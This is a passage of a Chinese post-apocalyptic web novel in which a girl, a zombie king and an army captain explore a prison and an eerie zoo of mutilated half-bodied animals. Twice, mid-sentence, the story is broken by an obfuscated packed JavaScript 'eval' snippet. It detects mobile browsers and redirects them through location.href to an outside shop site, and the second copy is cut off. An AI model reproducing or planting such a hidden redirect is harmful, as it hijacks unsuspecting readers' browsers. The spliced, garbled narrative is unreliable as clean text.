郑云松、钟吟猛地站起：“！” 刚才还哭诉的两人，瞬间乖巧的像小鸡仔。 花国盛忧心忡忡，他看着三人走远的背影，忍不住问道：“让霍小哥去送，真的没问题吗？这个时间，是丧尸最活跃的时候吧？” 叶只秋：“没问题，没问题。现在需要注意安全的是我们。” 她举着自己的小榔头，狗狗祟祟检查一番后，将选定的房间门锁死，接下来就是等霍不予回来，再一起去找吃的啦~~ * 城市边界。 看着熟悉的收费站，郑云松钟吟表情僵硬。没想到不到一天时间，两人又回到了这里。 “霍、霍、霍大佬……”钟吟还想挣扎一下，却在对上霍不予幽冷目光的瞬间，所有话都吞了回去。 霍不予：“我赶时间。” 钟吟、郑云松对看一眼，认命向高速路上走去。 跨过收费站的瞬间，十几个影子陡然钻了出来。它们无声靠近，扑了上去。 惨叫和丧尸的咀嚼声同时响起。 “霍大佬，救救我！！” “不是说出市后没什么丧尸吗？！啊啊啊！！！” 郑云松将钟吟推倒，向霍不予跑来。然而还没迈出步子，又被迎面而来的丧尸扑了回去。 他伸着手，哀求：“救我！！你答应了花队长，要送我们的。” 霍不予悠闲的插着兜，黝黑阴沉的眸子里浮着淡淡笑意。 “我答应送你们出G市，现在不是安安全全出了吗?” 他一脸平静，看着两个挣扎的身影奋力爬行，然后被拖走消失不见。 无聊的站直身体，霍不予拍了拍衣服上不存在的灰。 转身离开…… 14. 半身动物园 叶只秋蹲在地上，勾勾画画。 经历过两次催命任务，现在她学聪明了，决定这一次在deadline到临之前，自己先开启第三次招聘。 点开‘人才地图’，发现它已经恢复原样后，叶只秋嘿嘿傻笑，一副占了大便宜的样子。 她指着地上刚刚画好的狗刨地图，在左上方点了一下后，看向霍不予。 “假如这里是我们，这里是收费站，那这儿是哪？” 手指停顿在地图最南侧，叶只秋圈了个范围眨巴着眼问道。 昨天紧急任务结束前，她利用扩大版的人才地图提前查看了一番，在南边发现蓝色小点。虽然很快被系统察觉屏蔽，但她依然瞄到有效信息。 霍不予看向叶只秋圈出来的位置，说道：“单论区域的话，这片有动物园，监狱和机场，不知你想去哪？” 叶只秋懵逼：“……” 这跨度也太大了吧？ 花国盛蹲在一旁：“小叶啊，你可以稍微缩小一点范围。不然像你这样圈，要是地图，恐怕小半个国家都进去了。” 叶只秋：“……” 她倒是想圈小点，问题是没看清啊。 皱巴着一张脸，纠结了几秒钟后，叶只秋释然：算了，那就都去看看吧。 带着丧尸王和经验丰富的老兵，小叶何需畏惧？！ 打定主意，三人出发。 按照远近顺序，最先到达监狱。作为一个新时代好青年，从未有机会涉足这里，叶只秋进去前还做了做心理准备，满是好奇。 谁知进去后，她发现末世的监狱更像是待拆迁的烂尾楼，除了固定尺寸的水泥格子外，啥也没有。 跟着花队长，在奇怪的地方搜罗出一包碎成渣渣的方便面后，再无收获。 三人走马观花，原路返回。 幸运的是离开前，发现了一辆残存着汽油的押运车。 花国盛开车。叶只秋和霍不予坐在包裹着铁架的后车箱内，两侧长椅可以翻下来，他们各坐一边。 霍不予长腿伸展，抱着胸靠在车壁上，懒懒看着对面。 叶只秋跪坐在椅子上，好奇摸着铁栏，从缝隙处向外看。 她突然有种自己钻进大型猫笼的感觉。不知道真正的罪犯坐进来什么心情，但对末世的她来说，这车还挺有安全感的。 有了代步工具，前行速度快了很多。不一会，动物园的指示牌已经出现。 叶只秋揉了揉鼻子，面色严肃起来。 明明还没有进去，她已经隐隐约约闻到一股腐臭味道。 调出人才地图，代表丧尸的红点都被拦在了外面。正犹豫着要不要打道回府，一个蓝点突然闪过消失不见。 有人！ 看来昨天看到的就是这里。 随着车辆缓缓行进，三人进入动物园大门。门口立着的雪豹雕像，它断了一只耳朵，油漆也已经斑驳掉色，看上去略微诡异。 叶只秋趴在窗户前，两手攥住栏杆，额头抵在缝隙处。 自从长大，不，准确来说是上了初中后，她就没有去过动物园了。在她的记忆里，这应该是充满欢声笑语的地方。到了末世，越是曾经繁华的场所，越显得破败。 “吱呀呀——” 听到声音，叶只秋回头。透过后车窗，她看到刚才敞开的铁门竟缓缓关闭。 花国盛停下车，略微沙哑的声音从主驾方向传来。 “小叶，不太对劲啊。” 末世中，基础设施的能源供给早已停止。经历了多波洗礼，众多地方都是门户大敞。所以进来时，几人都没有感觉不对，反而是铁门关闭，让人心生狐疑。 花国盛退回铁门，刚想上手检查。 霍不予突然出声阻止：“别碰。” 花国盛凝眉，也隐隐觉出不对劲。 他蹲下身，缓缓用手背靠近，小心控制着自己和门的距离，当拉近到约莫两指时，手背上的汗毛像是受到了什么召唤，纷纷立起。 花国盛：“！” 站起身，从兜中摸出一枚硬币。 “站远点。” 叮嘱完叶只秋和霍不予，花国盛谨慎的将硬币扔了过去。银色的抛物线同铁门相撞，没有发出常规的金属脆响，而是“啪”的炸开！ 一道刺眼的亮光下，火花四溅。 紧跟着，空气中弥漫开一股形容不出的刺鼻气味。 花国盛：“这门通电了。” 叶只秋：“……” 捡起地上已出现凹坑的硬币，暗自啧舌。妈呀，竟然真的有这么吓人的地方，不会是把高压线违规改造，连大门上了吧。 这要是不知道，直接伸手去推，岂不是人当场便能电熟？！ 霍不予眯眼看着沉寂的大门，轻笑出声。 本来以为西部丧尸王这边人口稀少，丧尸等级低，进化程度缓慢，没什么乐趣。如今看来，还是有点意思的。 “看来这里的主人不想我们出去。” 花国盛检查了一圈后，发现周围都通了电。 叶只秋：“好吧，那我们只能进去看看了。” 她深吸一口气，重新上车。 换了一种心境，感受也不一样了。 叶只秋脸色复杂的看着一圈金属管，喃喃：这是不锈钢的吧，不知道有没有涂绝缘层。和刚才恨不得扒在管子上比，这回她坐的板板正正。 “呲——” 突然，刺耳的刹车音响起，叶只秋控制不住的向前栽去，幸好她反应快拉住金属管。 叶只秋：“花队长，怎么了？” 花国盛：“……有……动物。” 叶只秋：：“……” 动物园有动物很正常，但末世的动物园怎么会有动物？！！而且现在是在主干道上吧？！！！难不成撞上完达山一号了？！！ 叶只秋瞬间挪回窗户旁。 霍不予：“这边。” 叶只秋：“！” 闪现并排。 她挨着霍不予，向车窗外看去。 “这是……鹿？”叶只秋睁大眼睛，迟疑开口。 倒不是她不认识，而是眼前的动物和印象里长得有些不一样。 记忆中的梅花鹿温驯可爱。很多动物园或自驾旅游点会设置散养互动区，放些鹿、羊驼之类的食草动物，让它们在限速区闲逛，时不时透过车窗索要食物，这种互动很受小朋友青睐。 但现在，叶只秋看着外面，不知如何形容。 带头拦车的是一只公鹿，它畸形的角下，脑袋全是伤痕，甚至右眼已经瞎了。不过这不是让叶只秋迟疑的点，真正让她震惊的是鹿的后半身，准确来说是它失去的后半身—— 这只鹿，没有后腿。 它仅用两条前腿站立着，脊椎肚子 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花国盛停车，霍不予叉手而立，叶只秋将昨天找到的过期矿泉水背在身上。准备就绪后，几人一起进入爬行馆。 叶只秋深呼吸，提前做好心理准备。 谁知走进爬行馆，环视四周，发现这里什么东西都没有。跟着人才地图指引，继续往展馆深处走。 叶只秋看向铺满沙石、假植物的玻璃仓。 “咦？这是什么动物。”她突然停住，指着蟒蛇馆内一处脚印问道。 花国盛听到声音，看了过去。 “没见过呀……” 那脚印约成人巴掌大小，掌形似蹄状，却有四个指甲。后脚深，前脚浅。看起来很像兔子一类，蹦跳前行的移动方式。 叶只秋打了个冷颤，一瞬间脑子里浮现众多念头。 蛇馆里怎么会出现脚印？这古怪的脚印到底是什么动物？进来也有一段时间了，目前为止还没看到活着拥有后半身的……所以，这脚印的主人为何例外？又是什么动物变异而成？ 一个连着一个问题，让叶只秋彻底陷入迷茫中。 她不知道是不是敏感，突然有种自己被什么东西注视着的感觉。 花国盛和霍不予已经走向两个方向。 花队长听到叶只秋是来找人，决定加快速度，完成任务后想办法离开。霍不予则是无聊的开始闲逛。 叶只秋：算了，自己也不要多想了。 转身刚欲去追两人，突然身后玻璃展馆内传来窸窣声，假草晃动。 一个影子窜了过来，它不知怎么从玻璃内探出手，一把拽住叶只秋身上的小包，抢了过去！得手后的小兽并未停留，扭头钻进馆内不足小腿高的黑门，消失不见。 叶只秋：“……？” 完全没有反应过来发生了什么。眨眼功夫，身上的水就被抢了。 她看着玻璃馆内留下的一串杂乱脚印。 好消息：刚才的疑问全解决了，因为真身出现了。 坏消息：啥也没看清。 那野兽貌似是个幼崽，要不是借助地形，跑的不算快，叶只秋没准能追上。 既然这样…… 小叶同志撸起袖子：“追！” 都抢到自己头上了。凶的打不过，小的还不能教训吗？ 她倒要看看，这座动物园里到底藏着多少秘密？ 15. ‘纯狱系\’信仰 叶只秋摇下车窗。 “他们……是在向咱们求救吗？” 花国盛：“……” 从未见过立场摇摆如此快速的一场搏斗，十几分钟的时间已经搞不清自己和谁一伙了。 霍不予微笑：“求救没听出来，求死倒是可以满足一下。” 花国盛叹气：“霍小哥，现在不适合开玩笑。” 叶只秋眨眨眼，对上霍不予幽幽目光：“……” 花队长啊，你的霍小哥没有开玩笑，要是再不决定，他是真想动手！ “要不……”叶只秋试探，“咱先别打了，停下来问问。” 花队长：“这是说停就能停的？” 霍不予耸肩，漫不经心道：“也行。” 他摆了摆手，刚才还打得热火朝天的丧尸突然停了下来。将手中大汉一推，摇摇摆摆，潮水一般退场。 又找阴凉地猫着去了。 刚才还差点被丧尸啃的狱衣大汉们一屁股坐在地上。 “我靠，吓死老子了。” 他们哀嚎着，小心翼翼将狱服上的污渍抹掉。像是对待什么珍贵的物品一样。 花国盛拧着眉走近，刚要开口问话。一个离他最近的大汉余光看到影子，瞬间扑了上来。 花国盛反应迅速，举起铁棍便要攻击。 谁知，那大汉竟然扑到他脚下，一把死死抱住花队长大腿：“呜呜呜，长官，你可算是来了。” 花队长举着铁棍的手僵住：“……” 感觉今天从睁眼开始，每分每秒的打开方式都不太正确。 “你认识我？” 大汉摇头：“不认识，但你这身衣服，就是长官！！” 其余大汉也跟着滑跪扑了上来，围成一圈死死抓住花国盛。他们像巨型负鼠一样，牢牢扒住花队长两条大腿，好像生怕他跑了。 “呜呜呜呜，长官你得带我们走啊。” 其中一个被挤在外面，没抢到抱腿资格的大汉揪着自己狱服两肩位置抖了抖。 “长官你看着这衣服不亲切吗？求你把我们收编了啊！” “是啊，长官！为了能找到组织，我们坚持了五年，生怕把衣服穿坏了。” “刚才丧尸冲过来的时候吓死我了，还以为衣服保不住了。” 花国盛感觉抓在自己裤腿上的手又紧了紧，他默默扣住皮带，一言难尽的看着这群大汉。 “我不是狱警。” 大汉们：“！！” “长官，你这话是啥意思，你不愿意收编我们？” “不行不行，我得自首。” “长官，我们难得相遇，你不能不要我们啊！” “……” 叶只秋坐在副驾驶位置上，脑袋从窗户探出，饶有兴趣看着对面的警匪片摇身一变，画风转去狗血八点档。 霍不予微皱着眉，只感觉对面很吵，就在他不想忍耐时…… 大汉们终于调整好情绪，围成一圈坐了下来。 “你们的意思是，进了这个动物园，就出不去了？” “嗯，我们已经进来两天了。这地方古怪的紧！”龙哥开口说道。 他是这群人里年纪最大的，相对条理算清晰，此时自愿当起众人的解说代表。 末世降临后，龙哥七人脑子一抽选择了逃跑。躲了一个月，发现活的还不如里面，于是又跑回监狱，谁知那里早已转移。他们像是被遗弃的人，瞬间没了目标。 不知何去何从下，他们选择了蜗居回自己的房间，起码门上有属于本人的编号，就这么阴差阳错苟了几年。 周围能找到的食物全都找了，防护也被丧尸拆得七七八八。再苟下去只能等死。 于是在龙哥的带领下，七人走出监狱，尝试寻找新的生机。 就这样，他们走进这所动物园。 谁知进来的瞬间，大门关闭。铁门上更是通了高压电。寻找一圈后，再无第二条出去的路。他们就这样被困在了这里。 “长官，你们不知道，这动物园邪门的厉害！” “按理说末世来临，人活得都艰难，动物怎么能活下去？但这里是真有动物。而且、还都很吓人！” 叶只秋葡萄一般的眼睛睁的滚圆。 “吓人，怎么个吓人法？” 龙哥压低声音：“这儿的动物都只有前半截身体，后腿全消失了……” * 开着小皮卡，一路前行。 花国盛依然担当司机，霍不予侧靠在副驾驶座上，叶只秋跪坐在后排，狱服大汉们全部站在车斗中。 叶只秋看向窗外，此时应该已经到了草食动物范围。 在正常的世界里，很多动物园或自驾旅游点会设置散养互动区，放些鹿、羊驼之类的温顺动物，让它们在限速区闲逛，时不时透过车窗索要食物，这种互动很受小朋友青睐。 但现在，叶只秋看着外面，不知如何形容。 带头拦车的是一只公鹿，它畸形的角下，脑袋全是伤痕，甚至右眼已经瞎了，更令人震惊的是它的后半身。 原来龙哥说的没有腿，是这种意思…… 那只鹿仅用两条前腿站立着，脊椎肚子等一众器官像巨大的肿瘤附着在背上，然后垂下去。它的脖子上有一根四指粗的颈环，颈环两侧延伸出两根钢管，钢管下接着个带滑轮的平台，公鹿垂着的后半身，便是放在上面。 叶只秋：“……” 她不知道自己现在应该是什么反应。感叹医疗技术的伟大吗？还是质疑为何这样还要让它活着？ 车辆继续行驶。 叶只秋透过窗户，又看到了半只羊驼，半只马。再到后面，是空荡荡的猴山，充满腐败气息的熊馆，以及满是血渍的狼馆、獐坡…… 每一个地方都透着诡异，甚至不管有没有动物，展馆外面的展示牌都经过改造，叶只秋草草扫过，发现宣传图上动物们的后半身都被涂黑了。 这到底是个什么样的动物园？ 怀揣着疑问，众人在看到一处全景地图后，一起下车。 花国盛：“你们所有地方都找过，没有出去的路口吗？” 龙哥摇头：“外面的墙都通电了。” “看来只能去找找控制台了。”花国盛指着地图东南角，“这里标着的地方看起来像总控制室……” 话说到一半，远处突然传来“咻”的破空声。 花队长条件反射侧身躲避，一只注射器擦着他鼻尖划过。随后，“噗”的一声，刺入站在花队长身后的大汉身上。 “哎呦！”大汉叫了一声，眼睛一翻，倒头栽下。 “快，先躲起来！” 花国盛拖住人，躬身钻到展示牌后面。大汉们呼啦啦也跟了过去。 叶只秋一头懵，根本没看清怎么回事，就见人已经倒下了。 什么情况，怎么突然变枪战了？！！ 她晕晕乎乎跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929217|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花队长跑。谁知步子还没迈出，已经被霍不予拎着帽子，拽了回来。 幽冷的声音响起：“我在这儿，你跑什么？” 叶只秋一把攥住霍不予衣袖：“大佬，你能挡子弹吗？” 霍不予：“不能。” 叶只秋：“！！” “那咱还是找个掩体吧。” 霍不予拎了拎叶只秋帽衫：“我不是已经找好掩体了。” 叶只秋哭丧脸，晓之以情动之以理：“霍大佬，你还记得咱们种仙人掌的约定吗？” “在没有看到成片绿色之前，要一起活下去呀。” “一个都不能少！” 霍不予勾唇：“放心，你死不了。” 另一边，大汉们呼喊的声音传来：“阿奇，醒醒啊！！你要坚持住！！” “咱们好不容易找到组织，你不能一个人走！” 叶只秋瑟瑟发抖，已经进展到哭丧阶段了吗。 不动声色挪到霍不予身后，她探着脑袋看向花国盛方向。 “花队长，他怎么样了？” 花国盛沉稳的声音传来：“应该是中了麻醉。” 将阿奇身上的注射器拔下，花队长补充道：“分量有点多，恐怕是用来麻大象的。” 众大汉：“这么狠？！” 叶只秋：“！” 很想扬声和射麻药的人说一声，要是打自己，用兔子的分量就行。 花国盛凝神看向注射器打来的方向。 “我想办法去把那个下黑手的人抓住。霍小哥，你护住小叶。” “嗯。”霍不予悠闲抱臂，闲散的样子和周围格格不入。 众大汉：“长官，那我们呢？” 花队长：“留下一个抗人，剩下的跟我走。” 大汉们一副英勇就义的表情：“好！” 呼啦啦一帮人转移。 “你不招他们？”指着前去搜寻的一堆背影，霍不予问道。 叶只秋招人并没有背着他，两次重复，足够霍不予摸清招聘流程，虽然不知道具体细节，但表面情况已然知晓。 “emmmm……叶只秋纠结，“我还没有想好。” 刚才她确实动过心思，要不要招聘他们。 动物园被高压电包围，说是困局，其实有很多办法可以解决。 最简单直白的方式便是像花队长一样，找到根源，切断主控。 但其实还有其他办法。 比如叶只秋可以签个大力士，把人一个个扔出去，虽然可能落地有点问题。再比如签个金属和水之类的配合，刺激电网短路。又或者找找有没有适合挖坑的异能合同，上面出不去，可以改成找找下面嘛…… 但终究，叶只秋还是没说出口。 若问理由，就是心里觉得差口气，他们不是自己想找的人。可能需要继续观察一下？ 叶只秋决定不再纠结，开口道：“咱们也去找刚才偷袭的人吧！” 霍不予定定看了她几秒后，‘嗯’了一声，像反方向走去。 叶只秋：“路线是不是不太对？” 霍不予：“近道。” 叶只秋：“哇！大佬就是不一样。” 跟在霍不予身后，七转八转，熊猫馆出现在眼前。 听着里面诡异恐怖的嘶哑叫声，叶只秋后知后觉反应过来： 其实不赶时间，有时候大可不必抄近道！！！ …… 16. 半身动物园 穿过长长的走廊，路过几个可爱的熊猫雕像打卡点，巨大的玻璃展馆出现在眼前。 叶只秋看着展馆内的可怖景象，一瞬间呼吸静止。 明明巨大的玻璃屏障从脚下连接到天花板，没有一丝空隙。她却依然感觉鼻腔里充斥着浓浓的血腥味，挥之不去。 熊猫馆内没有熊猫，却有狮子、老虎、棕熊…… 它们无一例外，都只有前半截身体。许久没有食物的野兽们盯着彼此，随时准备发动致命一击。 浑身是血的狮子窝在展馆一角，剧烈喘息着。它爪下压着早已被撕成四分五裂的灰狼。 不远处是老虎和棕熊。这些失去后腿的野兽面对攻击，早已没了避让的能力，它们只能全力以赴，致对方死地。 只见虎爪抠进熊脸，锋利的獠牙同时埋进棕熊脖颈。伴随着沉闷的皮肉撕裂声，棕熊暴怒着用前掌挥击，厚实的爪垫拍下，老虎肋骨塌陷下去。 搏斗的双方翻滚着撞击在玻璃上，溅起的血渍染花屏障。 叶只秋愣愣的看着撕咬在一起的野兽们。 这不是动物园，这里更像是一个巨大的蛊房。 圈养的野兽们被重新激起弑杀欲望…… “小叶，你们怎么在这儿？”身后传来花国盛的声音。 紧跟着是狱服大汉们的嘈杂脚步声。 突然！一阵“咔啦啦”的刺耳脆响，众人猛然回头，只见游客通道外面的铁门已然落下。 “咋回事？！” 龙哥率先跑向通道，他哐哐砸击铁门，可惜没有任何用处。 半晌后，狱服大汉们反应过来：“咱是不是被锁在这里了？” 疑问声刚落下。 咻—— 破空声接踵而来。 只见玻璃屏障正对面的二楼处，黑影飞出，形似空包弹的东西撞击在钢化玻璃上角。 刹那间，巨大的玻璃上漾开一抹细纹，似石子坠入平静的湖面，随着涟漪扩散，蛛网状裂纹铺盖整面玻璃幕墙。 “快躲开！！”花国盛厉喝出声。 咔嚓嚓——砰！ 同一时间，玻璃炸开，数以万计的细小颗粒四散迸溅。 一切发生的太快了，大家根本来不及反应。慌忙之间，只得本能的用胳膊护住脑袋。 耳道内充斥着噼里啪啦声，碎裂的玻璃墙化作一场雨，倾泻而下。 即使有花队长提醒，大汉们还是哎呦哎呦叫着。 他们有心防护，但露在外面的手背、头皮还是被碎片划伤。 叶只秋牢牢抓住兜帽，背身缩在角落。 时间被无限拉长，终于声音停下。 短暂的死寂。 众人喘着气，回过神来，看向身边狼狈的同伴。 叶只秋拽下帽子，抖着上面的玻璃渣，余光中对上几双猩红的兽瞳。 刚才还一墙之隔的野兽们此时彻底没了束缚。扭打在一起的老虎、黑熊不知何时早已松开彼此。 空气中，血腥、恶臭扑面而来。 野兽们顶着赤红眸光，一步步爬向新的目标。 “大家聚在一起。”花国盛凝眉盯着步步紧逼的野兽说道。 大汉们瞬间围了过来。 叶只秋和霍不予被挤在最里面。 叶只秋：“……” 不知道大家有没有坐过社畜的早班电梯，当你恰巧站在最中间，被一群人包裹时，差不多就是现在的感觉。而且别人都要比你高一两个头。 叶只秋觉得在野兽到来之前，自己可能先死于缺氧。 霍不予同样不舒服，突然贴近的人群让他感觉很不爽。 蹙眉间，丧尸王刚要抬手，突然被龙哥一把抓住。 “小兄弟，你别怕。”龙哥脸色苍白，颤着嗓子安慰，“我们在里面学过，危险的时候要优先保护老弱妇孺。” 叶只秋：……老、弱、妇、孺。 仰头看着霍不予，小叶同志用排除法分析丧尸王应该属于哪一类。 “有长官带着，我们肯定会好好表现。”看霍不予脸色很差，龙哥继续说道，“你你你、你们安心。我们这么多人，肯定能解决的了那些半残的玩意。” 吼！—— 巨大的虎啸声在展馆内响起。 龙哥身形一抖，恨不得扒在霍不予身上。 叶只秋：“……” 默默放下揪住丧尸王衣角的手，她突然觉得有人更需要霍不予。 “不要怕。大家注意其他野兽，以防偷袭。”花队长声音沉稳。 他手中举着铁棍，站在所有人最前方同老虎对峙。 狱服大汉们鼓起勇气。 然而下一秒，饥饿的黑熊和作壁上观的狮子从左右两边包抄而来。 大型丰荣装置下，更是钻出一连串瘦骨嶙峋的野兽，草草看去有狼有豹。 凶兽们眼泛绿光，死死盯着挤在一起的众人。 紧张的气氛下，大汉们吞咽口水的声音被无限放大。 叶只秋仰着头，努力从缝隙中向外看。 周围的气氛越来越压抑。 “龙，龙哥，咱真的能打得过它们吗？” “能！” 龙哥喉头滚了滚，挤出坚定答案。 下一秒，凶兽们耐心告罄，冲了上来。 它们明明已经没有后腿，速度却依然不慢。张开的血盆巨口下，腥臭唾液喷出。 大汉们慌忙举起武器，反击！ 他们手中有的是木棒，有的是指示牌……全是路上拆卸下来的。 混乱中，叶只秋手拿羊角锤，一边退后一边在墙上摸索。 终于，她摸到一条浅浅的凹陷痕迹。 找到了！ 一开始大家来这里，都是为了抓射麻药的幕后黑手。钢化玻璃的突然爆裂，让所有人注意力被转移，加上野兽们近在咫尺的威胁，大家没有精力再去顾忌其他。 但事实上，幕后黑手一开始就肆无忌惮的展示了自己所在位置。 羊角锤尖端砸在墙上，反手一勾，墙纸出现裂痕。 叶只秋拽住缺口，奋力一扯，墙纸被撕开，后面的门露了出来。 花国盛余光看到叶只秋动静，扬声：“你们想办法去帮小叶！” 狱服大汉们：“长官收到！” 虽然嘴上喊着，却没有一个人能动。大家都狼狈不堪的应付着眼前野兽。 叶只秋将榔头尖尖卡进门缝，努力撬动，然而眼前的门不知道是做了什么改造，竟然纹丝未动。 转身间，叶只秋突然看到一道黑影将她笼罩。 那是一只 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扔出手中木棒、指示牌，拖延的几秒时间里，大汉们瞬间躲到霍不予身后，自动认领‘老弱病残’身份。 他们排成一队，还不忘有义气的招呼花队长：“长官，快来！” 花国盛喘着粗气，与老虎僵持不下。 余光扫了一眼身后。刚才还奋战的大汉们此时已经缩成小鸡仔，有序排列在墙根。 花队长：“？？” 已经不记得今天第几次打开方式不对了。 人会因为错愕短暂发愣，饥饿的野兽却不会，没了一众阻挡，它们龇着牙扑了上来。 叶只秋看着四面八方罩过来的黑影：“……” 选择攻击自己的是不是有点多？它们也太会找软柿子了吧？ 同一时间，霍不予薄凉的声音自叶只秋身后传出—— “滚。” 没有任何情绪起伏的一个字。 霍不予声音不大，他幽幽的眼神扫过周围。 本来还龇牙低吠的凶兽们突然安静，它们像是被掐住了喉咙一般。 正在攻击花队长的老虎也突然停下，后退一步拉开距离。 它们弓起身体，在霍不予扫来的目光中僵持了几秒后，慢慢放松下去，做出一种匍匐姿态。竖立的耳朵也纷纷后倾，贴在头颅两侧。 不管是熊还是狮子，又或是狼……所有动物都摆出了同样的姿势——臣服。 极致的死寂后，它们后退着挪回玻璃馆内。 有的钻回丰荣设施下，有的躲到角落……这些浑身裹满血腥气的凶兽，瞬间变得温顺，仿佛刚才袭击众人的并不是它们。 叶只秋伸出大拇指：“大佬不亏是大佬！” 原来这就是传说中的霸王色霸气吗？ 霍不予收回落在凶兽身上的目光，看向叶只秋，语气随意：“你接着撬啊。” 叶只秋：……不是，合着您大显神威就是为了让我继续撬门？！ 小叶同志眨眨眼。 她看向瞠目结舌的大汉们，建议：“现在没什么事了，要不各位都来帮帮忙？” 17. 开门的正确思路 一众狱服大汉怔愣片刻，撸起袖子全部围了上来。 别的不说，干体力活这方面，一个个还是挺积极的。 龙哥首当其冲接过叶只秋手中羊角锤，担任了杠杆撬门的重要任务。 其他大汉四下看了一圈后，胆战心惊的将刚才扔出的指示牌、木棍一一捡回，加入拆迁队伍。 一时间“哐哐当当”声四起，木门却纹丝未动。 龙哥在手掌心呸了两下后，搓了搓，开口说道：“这后面是不是堵了面墙？” 有人一屁股坐在地上，附和：“我觉得也是，谁家门这么撬还不开？” “这是动物园，咋比银行保险库大门还难撬？” 数道目光扫了过去：“你还撬过银行？” 大汉们齐齐后退一步，拉开距离，不约而同看向花国盛，脸上意思很明显：我们都是改造好的，可没参与过那种活动。 说话的大汉明显感觉到自己这一瞬间被孤立了，他哭丧着脸：“比喻！这是比喻！” 花国盛眉头微皱走了过来，他接过龙哥手中的羊角锤，试探的撬了两下，得出结论：“后面镶了铁板。” 龙哥泄气：“怪不得弄不动。” “哎呀，这可咋办，外面和里面的门都打不开。” “要不轮流撬？铁杵还能磨成针呢，咱只要不放弃，肯定能完成长官给的任务。” 大汉们虽然没做出什么成果，但情绪价值给的很足。 叶只秋：“……” 大哥们，要是真按照磨铁杵的速度，恐怕大家都熬成干尸了。 回想了一下上次在仓库，霍不予迈上货架的伟岸身影。 叶只秋试探：“霍大佬，你能不能跳到二楼，从窗户翻进去，给我们开下门？” 霍不予嘴角轻扯，反问：“翻窗户？” 叶只秋：“emmm……” o(╥﹏╥)o，听语气自己好像被拒绝了。 霍不予还没有回答，众大汉已经七嘴八舌开了口： “小妹妹，你先冷静一下！！！” “跳上去？我的天，这里会不会有毒气呀！！无形无色影响脑子的那种……” “小姑娘，你快清醒一点。跳上二楼？！这是不可能的？跳下来还差不多。” “唉，病急也不能乱投医。我们再想想办法。” 狱服大汉们安慰着叶只秋，所有人第一反应都是小姑娘看着安安静静，突然一下子就疯了。 即使他们刚才亲眼看到霍不予震慑凶兽，但跳上二楼还是无法相信。 毕竟驯兽这种事有所耳闻。比如马戏团有人能指挥老虎、狮子、大象；比如监狱里听人说过，在屠宰场干过的人身上有杀气，动物闻到会躲着走……虽然不知道霍不予是用的什么方法，但起码听说过类似的。 凭空跳上二楼就不一样了！他们能想到最接近的例子便是运动员，借助杆子、加上助跑勉强可以尝试。但现在显然不具备这种条件。 龙哥摇头：“唉，刚才肯定是吓到了。” 众小弟点头：“可怜啊。” 被一圈目光注视的叶只秋惆怅：“……” 她看向霍不予，挣扎：“真的不能试试吗？” “你想进去？” 叶只秋点头如捣蒜，进去才能找寻下一步，她不想被困在这里了。 霍不予：“翻窗是不可能的……” 叶只秋沮丧。 “但是……” 叶只秋重新支棱，眼睛亮亮，跟着重复：“但是？” “但是可以帮你解决一下门的问题。”霍不予声音幽幽冷冷，很是随意。 紧跟着，他曲膝抬腿，在众人还没反应过来时，猛地踹了下去。 “哐！！！！————” 巨大的声音响彻周围。 远处的凶兽们吓得一激灵，纷纷缩进墙角。半个时辰前，它们还在你死我活，现在倒是拥挤在一起抱团取暖，连嗜血的眼神都清澈了不少。 狱服大汉们只感觉脑子被震得一懵，就见众人束手无策的大门轰然倒下。 隐藏在木门后面的金属因为快速刮擦，迸溅出连串火花。 龙哥：“卧槽，牛B。” 叶只秋：“……” 原来这就是小贼和大盗……不对，学霸和学渣不同的解题思路。 不太老实的老实人叶只秋：先跳二楼，翻窗户，钻进去，下楼，开锁。 霍不予：拆门。 阻碍众人的难题彻底解决。 大家对视一眼后，龙哥率先开口：“那咱上？” 花国盛点头：“嗯。” 接着他看向叶只秋：“小叶，你和霍小哥走最后面，小心一点。” 叶只秋：“好，花队长你也小心。” 狱服大汉：“…………” 不是，长官，你清醒一点！黑衣小哥哪需要走在后面呀！！他是核武！！！我们走前面才是炮灰肉盾。 花国盛见大汉们停在原地，疑惑开口：“走啊。我们有经验的要为年轻人开路。” 狱服大汉：“…………” 有经验？真的是形容我们吗？ 他们很想抱着花队长哀嚎，有时候年龄上涨了，不代表变厉害了啊。 花队长完全没有看出大家疯狂变化的脸色，一本正经：“走吧。” 龙哥嗓音干涩：“好。” 他恋恋不舍看向霍不予，很想转身滑跪。原来一开始动物园门口初见，自己抱错大腿了！！ 咔哒、咔哒—— 伴随着众人谨慎的脚步声，大家依次上楼。 叶只秋跟在最后面，环视周围。 除了入口处的门被改造了以外，内部看着还是动物园之前的样子，甚至墙壁上还画着可爱的Q版熊猫图案。 到达二楼入口处，众人站在原地，暂时无人上前。 叶只秋探头。 眼前出现的是一个平层，看上去玻璃被贴了暗色贴纸，让光线本就不充裕的房间显得愈发阴沉。 正对面靠窗的桌子上放着很多拍摄器械，从灰尘推测已经很久没有人动过。这估计是一间动物纪录室，通过专业拍摄、剪辑，宣传原本的熊猫馆。不过，看看周围堆积的巨大箱子，现在已经成了杂物间。 “那个人应该躲在这里吧？”龙哥小声问道。 花队长闷闷‘嗯’了一声，开口：“大家小心，这里没看到其他出口，对方手里可能还有麻药。” 听到麻药，大家顿时紧张。 叶只秋看看众人，眼看又要陷入第二次僵局。 她想了想，从怀中掏出打火机，扬声：“这里有很多纸壳子，我们可以点火试试。” 花国盛看向打火机：“小叶，你这个不是……” “是很好的办法对吧！！”叶只秋不等花队长说完，赶紧接话道。 花国盛愣了一瞬，明白什么，跟着扬声：“对，是个好主意！” 两人一应一答。 叶只秋装模作样滑动打火机，安静的房间内只有打火轮摩擦的‘嚓擦’声。 房间角落中，背光遮挡处一支黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 